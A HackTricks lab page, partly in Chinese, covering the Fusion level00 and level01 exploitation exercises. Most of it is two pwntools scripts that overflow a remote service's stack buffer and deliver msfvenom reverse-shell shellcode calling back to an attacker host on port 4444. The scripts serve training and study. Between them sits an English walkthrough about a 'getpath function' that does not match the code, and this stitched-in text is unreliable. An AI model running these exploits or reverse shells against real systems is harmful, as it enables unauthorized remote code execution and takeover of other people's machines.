hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md

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Level00

http://exploit-exercises.lains.space/fusion/level00/

1. 获取修改EIP的偏移量
2. 将shellcode地址放入EIP

from pwn import *

r = remote("192.168.85.181", 20000)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0xbffff440)  # Stack address where the shellcode will be saved
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.recvline()
r.send(buf)
r.interactive()

Level01

Fusion

Basic ESP

Introduction

In this level, we will be exploiting a basic ESP overwrite vulnerability in the fusion binary. The goal is to redirect code execution to the getpath function in order to get a shell.

Walkthrough

1. Find the Offset: We will use GDB to find the offset needed to overwrite the return address. Run gdb fusion and disassemble the main function. Set a breakpoint at the get function call and run the binary with a pattern as input. Retrieve the offset using pattern offset.

2. Craft the Payload: We will craft a payload that overwrites the return address with the address of the getpath function. Use Python to generate the payload and save it to a file.

3. Exploit: Send the payload to the binary using a method of your choice (e.g., input redirection, piping, etc.) and get a shell by redirecting code execution to the getpath function.

By following these steps, you should be able to successfully exploit the basic ESP overwrite vulnerability in the fusion binary and gain a shell.

from pwn import *

r = remote("192.168.85.181", 20001)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0x08049f4f)  # Adress of: JMP esp
buf += p32(0x9090E6FF)  # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.send(buf)
r.interactive()

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其他支持HackTricks的方式：

• 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks，请查看订阅计划!
• 获取官方PEASS & HackTricks周边产品
• 探索PEASS家族，我们的独家NFTs
• 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live。
• 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。